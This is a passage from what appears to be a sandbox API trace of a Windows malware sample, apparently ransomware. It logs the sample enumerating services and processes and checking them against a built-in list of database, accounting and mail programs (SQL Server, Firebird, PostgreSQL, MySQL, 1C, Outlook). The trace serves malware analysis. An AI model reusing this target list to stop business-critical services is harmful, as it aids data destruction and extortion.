hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0199.105] CloseHandle (hObject=0x184) returned 1 [0199.105] Sleep (dwMilliseconds=0x1f4) [0199.663] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x56fcc8 [0199.663] EnumServicesStatusExW (in: hSCManager=0x56fcc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0199.663] GetLastError () returned 0xea [0199.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x134c) returned 0x3946708 [0199.664] EnumServicesStatusExW (in: hSCManager=0x56fcc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3946708, cbBufSize=0x134c, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3946708, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0199.664] CloseServiceHandle (hSCObject=0x56fcc8) returned 1 [0199.664] lstrlenW (lpString="Appinfo") returned 7 [0199.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0199.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0199.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0199.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0199.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0199.664] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0199.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.665] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0199.665] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0199.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0199.665] lstrlenW (lpString="AudioSrv") returned 8 [0199.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0199.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0199.665] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0199.665] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0199.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0199.665] lstrlenW (lpString="BFE") returned 3 [0199.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0199.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0199.665] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0199.665] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0199.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0199.665] lstrlenW (lpString="CryptSvc") returned 8 [0199.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0199.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0199.665] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0199.665] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0199.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0199.665] lstrlenW (lpString="CscService") returned 10 [0199.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0199.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0199.665] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0199.665] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0199.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0199.666] lstrlenW (lpString="DcomLaunch") returned 10 [0199.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.666] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0199.666] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0199.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0199.666] lstrlenW (lpString="Dhcp") returned 4 [0199.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0199.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0199.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0199.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0199.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0199.666] lstrlenW (lpString="Dnscache") returned 8 [0199.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0199.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0199.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0199.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0199.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0199.666] lstrlenW (lpString="DPS") returned 3 [0199.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0199.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0199.666] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0199.666] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0199.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0199.666] lstrlenW (lpString="eventlog") returned 8 [0199.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0199.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0199.666] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0199.667] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0199.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0199.667] lstrlenW (lpString="EventSystem") returned 11 [0199.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0199.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0199.667] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0199.667] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0199.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0199.667] lstrlenW (lpString="FontCache") returned 9 [0199.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0199.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0199.667] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0199.667] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0199.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0199.667] lstrlenW (lpString="gpsvc") returned 5 [0199.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0199.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0199.667] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0199.667] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0199.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0199.667] lstrlenW (lpString="iphlpsvc") returned 8 [0199.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.667] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0199.667] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0199.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0199.667] lstrlenW (lpString="LanmanServer") returned 12 [0199.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0199.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0199.668] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0199.668] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0199.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0199.668] lstrlenW (lpString="LanmanWorkstation") returned 17 [0199.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.668] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0199.668] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0199.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0199.668] lstrlenW (lpString="lmhosts") returned 7 [0199.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0199.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0199.668] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0199.668] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0199.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0199.668] lstrlenW (lpString="MMCSS") returned 5 [0199.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0199.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0199.668] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0199.668] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0199.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0199.668] lstrlenW (lpString="MpsSvc") returned 6 [0199.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0199.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0199.668] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0199.668] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0199.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0199.668] lstrlenW (lpString="Netman") returned 6 [0199.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0199.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0199.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0199.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0199.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0199.669] lstrlenW (lpString="netprofm") returned 8 [0199.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0199.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0199.669] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0199.669] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0199.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0199.669] lstrlenW (lpString="NlaSvc") returned 6 [0199.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0199.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0199.669] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0199.669] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0199.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0199.669] lstrlenW (lpString="nsi") returned 3 [0199.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0199.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0199.669] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0199.669] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0199.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0199.669] lstrlenW (lpString="PcaSvc") returned 6 [0199.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0199.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0199.669] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0199.669] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0199.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0199.670] lstrlenW (lpString="PlugPlay") returned 8 [0199.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0199.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0199.670] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0199.670] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0199.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0199.670] lstrlenW (lpString="Power") returned 5 [0199.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0199.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0199.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0199.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0199.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0199.670] lstrlenW (lpString="ProfSvc") returned 7 [0199.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0199.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0199.670] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0199.671] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0199.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0199.671] lstrlenW (lpString="RpcEptMapper") returned 12 [0199.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.671] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0199.671] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0199.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0199.671] lstrlenW (lpString="RpcSs") returned 5 [0199.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0199.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0199.671] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0199.671] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0199.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0199.671] lstrlenW (lpString="SamSs") returned 5 [0199.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0199.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0199.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0199.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0199.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0199.671] lstrlenW (lpString="Schedule") returned 8 [0199.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0199.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0199.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0199.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0199.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0199.671] lstrlenW (lpString="SENS") returned 4 [0199.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0199.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0199.672] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0199.672] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0199.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0199.672] lstrlenW (lpString="ShellHWDetection") returned 16 [0199.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.672] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0199.672] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0199.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0199.672] lstrlenW (lpString="Spooler") returned 7 [0199.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0199.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0199.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0199.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0199.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0199.672] lstrlenW (lpString="sppsvc") returned 6 [0199.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0199.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0199.672] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0199.672] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0199.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0199.672] lstrlenW (lpString="SysMain") returned 7 [0199.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0199.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0199.672] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0199.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0199.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0199.673] lstrlenW (lpString="Themes") returned 6 [0199.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0199.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0199.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0199.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0199.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0199.673] lstrlenW (lpString="TrkWks") returned 6 [0199.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0199.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0199.673] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0199.673] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0199.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0199.673] lstrlenW (lpString="UxSms") returned 5 [0199.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0199.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0199.673] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0199.673] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0199.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0199.673] lstrlenW (lpString="WdiServiceHost") returned 14 [0199.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0199.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0199.673] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0199.673] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0199.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0199.673] lstrlenW (lpString="WdiSystemHost") returned 13 [0199.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0199.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0199.673] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0199.674] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0199.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0199.674] lstrlenW (lpString="WinDefend") returned 9 [0199.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0199.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0199.674] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0199.674] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0199.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0199.674] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0199.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0199.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0199.674] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0199.674] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0199.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0199.674] lstrlenW (lpString="Winmgmt") returned 7 [0199.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0199.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0199.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0199.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0199.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0199.674] lstrlenW (lpString="wscsvc") returned 6 [0199.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0199.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0199.674] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0199.674] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0199.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0199.674] lstrlenW (lpString="wuauserv") returned 8 [0199.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0199.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0199.675] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0199.675] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0199.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0199.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3946708 | out: hHeap=0x4f0000) returned 1 [0199.675] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0199.677] Process32FirstW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.677] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0199.678] lstrlenW (lpString="System") returned 6 [0199.678] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0199.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0199.678] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0199.678] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0199.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0199.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0199.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0199.678] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0199.679] lstrlenW (lpString="smss.exe") returned 8 [0199.679] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0199.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0199.679] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0199.679] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0199.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0199.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0199.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0199.679] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.680] lstrlenW (lpString="csrss.exe") returned 9 [0199.680] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 